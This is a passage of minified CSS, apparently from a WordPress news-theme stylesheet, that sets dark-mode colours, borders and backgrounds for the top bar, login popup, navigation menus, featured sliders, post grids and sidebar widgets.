a.penci-ajax-more-button:hover{color:var(--pctext-cl);background-color:var(--pcbg-cl);border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .archive-box span{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .archive-box h1{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-desktop-bottombar,body.pcdm-enable.pcdark-mode .penci_header_overlap .penci-desktop-bottombar,body.pcdm-enable.pcdark-mode .summary.entry-summary .woocommerce-accordion.wc-accordion-wrapper{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .pctopbar-login-btn .pclogin-sub,body.pcdm-enable.pcdark-mode .penci-top-bar,body.pcdm-enable.pcdark-mode .penci-topbar-trending .penci-owl-carousel .owl-item,body.pcdm-enable.pcdark-mode .woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button,body.pcdm-enable.pcdark-mode div.penci-topbar-menu>ul ul.sub-menu,body.pcdm-enable.pcdark-mode ul.penci-topbar-menu ul.sub-menu{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .penci-topbar-trending .penci-owl-carousel .owl-item,body.pcdm-enable.pcdark-mode .woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button{background-color:transparent}body.pcdm-enable.pcdark-mode .headline-title.nticker-style-3:after{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .headline-title{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next,body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev,body.pcdm-enable.pcdark-mode .penci-trending-nav a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next:hover,body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev:hover,body.pcdm-enable.pcdark-mode .penci-trending-nav a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode a.penci-topbar-post-title{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode a.penci-topbar-post-title:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-headline .pctopbar-item{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode div.penci-topbar-menu>ul>li a,body.pcdm-enable.pcdark-mode ul.penci-topbar-menu>li a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode ul.penci-topbar-menu ul.sub-menu,div.penci-topbar-menu>ul ul.sub-menu{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode div.penci-topbar-menu>ul>li a:hover,body.pcdm-enable.pcdark-mode ul.penci-topbar-menu>li a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode div.penci-topbar-menu>ul ul.sub-menu li a,body.pcdm-enable.pcdark-mode div.penci-topbar-menu>ul>li>ul.sub-menu>li:first-child,body.pcdm-enable.pcdark-mode ul.penci-topbar-menu ul.sub-menu li a,body.pcdm-enable.pcdark-mode ul.penci-topbar-menu>li>ul.sub-menu>li:first-child{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-topbar-social a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-topbar-social a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-topbar-social .pctopbar-login-btn a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-topbar-social .pctopbar-login-btn a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #penci-login-popup .penci-ld .penci-ldin:before{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #penci-login-popup,body.pcdm-enable.pcdark-mode #penci-login-popup.ajax-loading:before,body.pcdm-enable.pcdark-mode #penci-login-popup:before{background:linear-gradient(135deg,var(--pcbg-cl) 0,var(--pcbg-cl) 100%)}body.pcdm-enable.pcdark-mode .mfp-close-btn-in #penci-login-popup .mfp-close{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-lgpop-title{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type=email],body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type=password],body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type=text]{color:var(--pctext-cl);border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type=email]::-webkit-input-placeholder,body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type=password]::-webkit-input-placeholder,body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type=text]::-webkit-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type=email]::-ms-input-placeholder,body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type=password]::-ms-input-placeholder,body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type=text]::-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type=email]::placeholder,body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type=password]::placeholder,body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type=text]::placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type=submit]{color:var(--pctext-cl);background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #penci-login-popup .penci-login input[type=submit]:hover{color:var(--pctext-cl);background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #penci-login-popup,body.pcdm-enable.pcdark-mode #penci-login-popup p:not(.message){color:var(--pctext-cl)}#penci-login-popup a:hover,body.pcdm-enable.pcdark-mode #penci-login-popup a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #navigation.header-1,body.pcdm-enable.pcdark-mode #navigation.header-4,body.pcdm-enable.pcdark-mode #navigation.header-7{border-bottom-color:rgba(255,255,255,.1)!important}body.pcdm-enable.pcdark-mode .header-header-1.has-bottom-line,body.pcdm-enable.pcdark-mode .header-header-4.has-bottom-line,body.pcdm-enable.pcdark-mode .header-header-7.has-bottom-line{border-bottom-color:rgba(255,255,255,.1)!important}body.pcdm-enable.pcdark-mode #navigation,body.pcdm-enable.pcdark-mode #navigation.header-layout-bottom{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu li a,body.pcdm-enable.pcdark-mode #navigation .menu>li>a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu li a:hover,body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu li.current-menu-item>a,body.pcdm-enable.pcdark-mode #navigation .menu li.current-menu-item>a,body.pcdm-enable.pcdark-mode #navigation .menu>li.current-menu-ancestor>a,body.pcdm-enable.pcdark-mode #navigation .menu>li.current-menu-item>a,body.pcdm-enable.pcdark-mode #navigation .menu>li.current_page_item>a,body.pcdm-enable.pcdark-mode #navigation .menu>li:hover>a,body.pcdm-enable.pcdark-mode #navigation .menu>li>a:hover,body.pcdm-enable.pcdark-mode #navigation .sub-menu li:hover>a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #navigation .menu>ul>li>a:before,body.pcdm-enable.pcdark-mode #navigation ul.menu>li>a:before{background:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #navigation.menu-item-padding .menu>li.current-menu-ancestor>a,body.pcdm-enable.pcdark-mode #navigation.menu-item-padding .menu>li.current-menu-item>a,body.pcdm-enable.pcdark-mode #navigation.menu-item-padding .menu>li.current_page_item>a,body.pcdm-enable.pcdark-mode #navigation.menu-item-padding .menu>li:hover>a,body.pcdm-enable.pcdark-mode #navigation.menu-item-padding .menu>li>a:hover{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode #navigation .menu .children,body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu,body.pcdm-enable.pcdark-mode #navigation ul.menu>li.megamenu>ul.sub-menu{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #navigation .menu .children,body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu,body.pcdm-enable.pcdark-mode #navigation .menu ul ul.sub-menu li a,body.pcdm-enable.pcdark-mode #navigation ul.menu ul.sub-menu li>a,body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .menu .children,body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .menu .sub-menu{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories a.cat-active{border-top-color:var(--pcborder-cl);border-bottom-color:var(--pcborder-cl);color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories:after,body.pcdm-enable.pcdark-mode #navigation ul.menu>li.megamenu>ul.sub-menu>li:before{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-dropdown-menu{border-color:var(--pcborder-cl);background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #navigation .penci-megamenu,body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories a.cat-active,body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories,body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.cat-active{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-date{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before,body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after,body.pcdm-enable.pcdark-mode .menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name{background:var(--pcbg-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #navigation .menu .penci-megamenu .penci-mega-child-categories a:hover,body.pcdm-enable.pcdark-mode #navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post a:hover,body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories a.cat-active{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .header-slogan .header-slogan-text{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .header-slogan .header-slogan-text:after,body.pcdm-enable.pcdark-mode .header-slogan .header-slogan-text:before{background:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu li a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu li a:hover,body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu li.current-menu-item>a,body.pcdm-enable.pcdark-mode #navigation .sub-menu li:hover>a{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .menu ul ul.sub-menu:before,body.pcdm-enable.pcdark-mode #navigation.menu-style-2 ul.menu ul.sub-menu:before{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode #navigation .button-menu-mobile,body.pcdm-enable.pcdark-mode .pcheader-icon>a,body.pcdm-enable.pcdark-mode .top-search-classes a.cart-contents{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #navigation .button-menu-mobile svg{fill:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .show-search form.pc-searchform input.search-input::-webkit-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .show-search form.pc-searchform input.search-input:-moz-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .show-search form.pc-searchform input.search-input::-moz-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .show-search form.pc-searchform input.search-input:-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .show-search form.pc-searchform input.search-input{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .show-search a.close-search{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-header-signup-form{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form,body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form-fields>p,body.pcdm-enable.pcdark-mode .penci-header-signup-form form>p,body.pcdm-enable.pcdark-mode .penci-header-signup-form h4.header-signup-form{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type=email],body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type=text]{border-color:var(--pctext-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type=email]::-webkit-input-placeholder,body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type=text]::-webkit-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type=email]:-moz-placeholder,body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type=text]:-moz-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type=email]::-moz-placeholder,body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type=text]::-moz-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type=email]:-ms-input-placeholder,body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type=text]:-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-header-signup-form .widget input[type=submit]{background-color:var(--pcbg-l-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-header-signup-form .widget input[type=submit]:hover{background-color:var(--pcbg-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .header-social a i,body.pcdm-enable.pcdark-mode .main-nav-social a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .header-social a:hover i,body.pcdm-enable.pcdark-mode .main-nav-social a:hover,body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle:hover .lines-button:after,body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle:hover .penci-lines:after,body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle:hover .penci-lines:before{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #close-sidebar-nav{background-color:rgba(65,65,65,.8);color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode #close-sidebar-nav i{color:var(--pctext-cl);background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav{background:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input,body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:focus,body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:hover{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input::-webkit-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input::placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a,body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a .indicator,body.pcdm-enable.pcdark-mode .header-social.sidebar-nav-social a i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav .menu .sub-menu li a .indicator:hover,body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a .indicator:hover,body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a:hover,body.pcdm-enable.pcdark-mode .header-social.sidebar-nav-social a:hover i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav-logo:before{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav #logo+ul,body.pcdm-enable.pcdark-mode #sidebar-nav .menu li,body.pcdm-enable.pcdark-mode #sidebar-nav ul.sub-menu{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode h2.penci-heading-video{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode p.penci-sub-heading-video{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .featured-style-35 .cat>a.penci-cat-name,body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .featured-cat a,body.pcdm-enable.pcdark-mode .penci-mag-featured-content .cat>a.penci-cat-name{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .featured-style-35 .cat>a.penci-cat-name:after,body.pcdm-enable.pcdark-mode .penci-featured-content .cat>a.penci-cat-name:after,body.pcdm-enable.pcdark-mode .penci-mag-featured-content .cat>a.penci-cat-name:after{border-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .featured-style-35 .cat>a.penci-cat-name:hover,body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .featured-cat a:hover,body.pcdm-enable.pcdark-mode .penci-mag-featured-content .cat>a.penci-cat-name:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .featured-style-35 .feat-text-right h3 a,body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text h3 a,body.pcdm-enable.pcdark-mode .penci-mag-featured-content h3 a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .featured-style-35 .feat-text-right h3 a:hover,body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text h3 a:hover,body.pcdm-enable.pcdark-mode .penci-mag-featured-content h3 a:hover{color:var(--pclh-cl)}body.pcdm-enable.pcdark-mode .featured-style-35 .featured-content-excerpt .feat-meta span,body.pcdm-enable.pcdark-mode .featured-style-35 .featured-content-excerpt .feat-meta span a,body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .feat-meta span,body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .feat-meta span a,body.pcdm-enable.pcdark-mode .penci-mag-featured-content .feat-meta a,body.pcdm-enable.pcdark-mode .penci-mag-featured-content .feat-meta span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .feat-meta>span:after,body.pcdm-enable.pcdark-mode .penci-mag-featured-content .feat-meta>span:after{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .featured-slider-excerpt p,body.pcdm-enable.pcdark-mode .featured-style-35 .featured-content-excerpt p{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .featured-style-29 .penci-featured-content .feat-text h3:before{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .featured-style-29 .penci-featured-slider-button a,body.pcdm-enable.pcdark-mode .featured-style-35 .penci-featured-slider-button a,body.pcdm-enable.pcdark-mode .featured-style-38 .penci-featured-slider-button a{border-color:var(--pcborder-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .featured-style-29 .penci-featured-slider-button a:hover,body.pcdm-enable.pcdark-mode .featured-style-35 .penci-featured-slider-button a:hover,body.pcdm-enable.pcdark-mode .featured-style-38 .penci-featured-slider-button a:hover{border-color:var(--pcborder-cl);color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-standard-cat .cat>a.penci-cat-name{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-standard-cat .cat:after,body.pcdm-enable.pcdark-mode .penci-standard-cat .cat:before{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .header-standard>h2 a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .header-standard>h2 a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .standard-content .penci-post-box-meta .penci-post-share-box a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .standard-content .penci-post-box-meta .penci-post-share-box a.liked,body.pcdm-enable.pcdark-mode .standard-content .penci-post-box-meta .penci-post-share-box a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .header-standard .author-post span,body.pcdm-enable.pcdark-mode .standard-content .penci-post-box-meta .penci-box-meta a,body.pcdm-enable.pcdark-mode .standard-content .penci-post-box-meta .penci-box-meta span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .header-standard .author-post span a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .header-standard .author-post span a:hover,body.pcdm-enable.pcdark-mode .header-standard .post-entry a:hover,body.pcdm-enable.pcdark-mode .penci-post-box-meta .penci-box-meta a:hover,body.pcdm-enable.pcdark-mode .post-entry blockquote .author,body.pcdm-enable.pcdark-mode .post-entry blockquote cite,body.pcdm-enable.pcdark-mode .standard-content .penci-more-link a.more-link,body.pcdm-enable.pcdark-mode .standard-content .penci-post-box-meta .penci-box-meta a:hover,body.pcdm-enable.pcdark-mode .standard-content .post-entry a,body.pcdm-enable.pcdark-mode .standard-content .post-entry blockquote:before,body.pcdm-enable.pcdark-mode .standard-content a,body.pcdm-enable.pcdark-mode .standard-content-special .author-quote span,body.pcdm-enable.pcdark-mode .standard-content-special .format-post-box .dt-special a:hover,body.pcdm-enable.pcdark-mode .standard-content-special .format-post-box .post-format-icon i,body.pcdm-enable.pcdark-mode .standard-post-entry a.more-link:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .standard-content .penci-more-link.penci-more-link-button a.more-link{color:#fff;background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .header-standard:after,body.pcdm-enable.pcdark-mode .post-entry blockquote .author span:after,body.pcdm-enable.pcdark-mode .standard-content .post-entry ul li:before,body.pcdm-enable.pcdark-mode .standard-content-special .author-quote span:after,body.pcdm-enable.pcdark-mode .standard-content-special .author-quote span:before{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-more-link a.more-link:after,body.pcdm-enable.pcdark-mode .penci-more-link a.more-link:before{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .standard-content .penci-more-link a.more-link,body.pcdm-enable.pcdark-mode .standard-content .penci-more-link.penci-more-link-button a.more-link{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .standard-content .penci-more-link a.more-link:after,body.pcdm-enable.pcdark-mode .standard-content .penci-more-link a.more-link:before{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-grid li .item .penci_grid_title a,body.pcdm-enable.pcdark-mode .penci-grid li .item h2 a,body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry .penci_grid_title a,body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry h2 a{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-featured-infor .cat a.penci-cat-name,body.pcdm-enable.pcdark-mode .penci-grid .cat a.penci-cat-name,body.pcdm-enable.pcdark-mode .penci-masonry .cat a.penci-cat-name{color:var(--pcaccent-cl)!important}body.pcdm-enable.pcdark-mode .penci-featured-infor .cat a.penci-cat-name:after,body.pcdm-enable.pcdark-mode .penci-grid .cat a.penci-cat-name:after,body.pcdm-enable.pcdark-mode .penci-masonry .cat a.penci-cat-name:after{border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-post-box-meta .penci-post-share-box a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-post-share-box a.liked,body.pcdm-enable.pcdark-mode .penci-post-share-box a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .grid-featured .penci-featured-share-box a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .grid-featured .penci-featured-share-box a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-featured-share-box .penci-shareic,body.pcdm-enable.pcdark-mode .penci-featured-share-box .penci-shareso{background-color:var(--pcbg-cl);color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .grid-mixed .mixed-detail .penci_grid_title a,body.pcdm-enable.pcdark-mode .grid-mixed .mixed-detail h2 a,body.pcdm-enable.pcdark-mode .penci-featured-infor .penci-entry-title a,body.pcdm-enable.pcdark-mode .penci-featured-infor .penci_grid_title a,body.pcdm-enable.pcdark-mode .penci-grid li .item .penci_grid_title a,body.pcdm-enable.pcdark-mode .penci-grid li .item h2 a,body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry .penci_grid_title a,body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry h2 a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .grid-mixed .mixed-detail .penci_grid_title a:hover,body.pcdm-enable.pcdark-mode .grid-mixed .mixed-detail h2 a:hover,body.pcdm-enable.pcdark-mode .penci-featured-infor .penci-entry-title a:hover,body.pcdm-enable.pcdark-mode .penci-featured-infor .penci_grid_title a:hover,body.pcdm-enable.pcdark-mode .penci-grid li .item .penci_grid_title a:hover,body.pcdm-enable.pcdark-mode .penci-grid li .item h2 a:hover,body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry .penci_grid_title a:hover,body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry h2 a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .grid-post-box-meta span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .grid-mixed .penci-post-box-meta .penci-box-meta a,body.pcdm-enable.pcdark-mode .grid-post-box-meta span a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .grid-mixed .penci-post-box-meta .penci-box-meta a:hover,body.pcdm-enable.pcdark-mode .grid-post-box-meta span a.comment-link:hover,body.pcdm-enable.pcdark-mode .grid-post-box-meta span a:hover,body.pcdm-enable.pcdark-mode .penci-grid .standard-content-special .author-quote span,body.pcdm-enable.pcdark-mode .penci-grid .standard-content-special .format-post-box .dt-special a:hover,body.pcdm-enable.pcdark-mode .penci-grid .standard-content-special .format-post-box .post-format-icon i{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .grid-header-box:after,body.pcdm-enable.pcdark-mode .list-post .header-list-style:after,body.pcdm-enable.pcdark-mode .penci-grid .standard-content-special .author-quote span:after,body.pcdm-enable.pcdark-mode .penci-grid .standard-content-special .author-quote span:before{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-grid .post-box-meta span:after,body.pcdm-enable.pcdark-mode .penci-masonry .post-box-meta span:after{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-readmore-btn.penci-btn-make-button a{color:#fff;background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-readmore-btn a,body.pcdm-enable.pcdark-mode .penci-readmore-btn.penci-btn-make-button a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-grid .typography-style .main-typography a.penci-cat-name,body.pcdm-enable.pcdark-mode .penci-grid .typography-style .main-typography a.penci-cat-name:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .typography-style .main-typography a.penci-cat-name:after{border-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .item .main-typography h2 a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .item .main-typography h2 a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .grid-post-box-meta span,body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .grid-post-box-meta span a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .grid-post-box-meta span:after{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .grid-post-box-meta span a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.pcsb-boxed-whole,body.pcdm-enable.pcdark-mode .penci-sidebar-content.pcsb-boxed-widget .widget{background-color:var(--pcbg-cl);border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-13 .penci-border-arrow .inner-arrow,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow:before,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow{background-color:var(--pcbg-l-cl);border-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-2 .penci-border-arrow:after{border-top-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content .penci-border-arrow:after{background-color:var(--pcbg-l-cl);border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content .penci-border-arrow .inner-arrow{border-color:var(--pcborder-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:after,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:before{border-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-5 .penci-border-arrow,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-7{border-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode 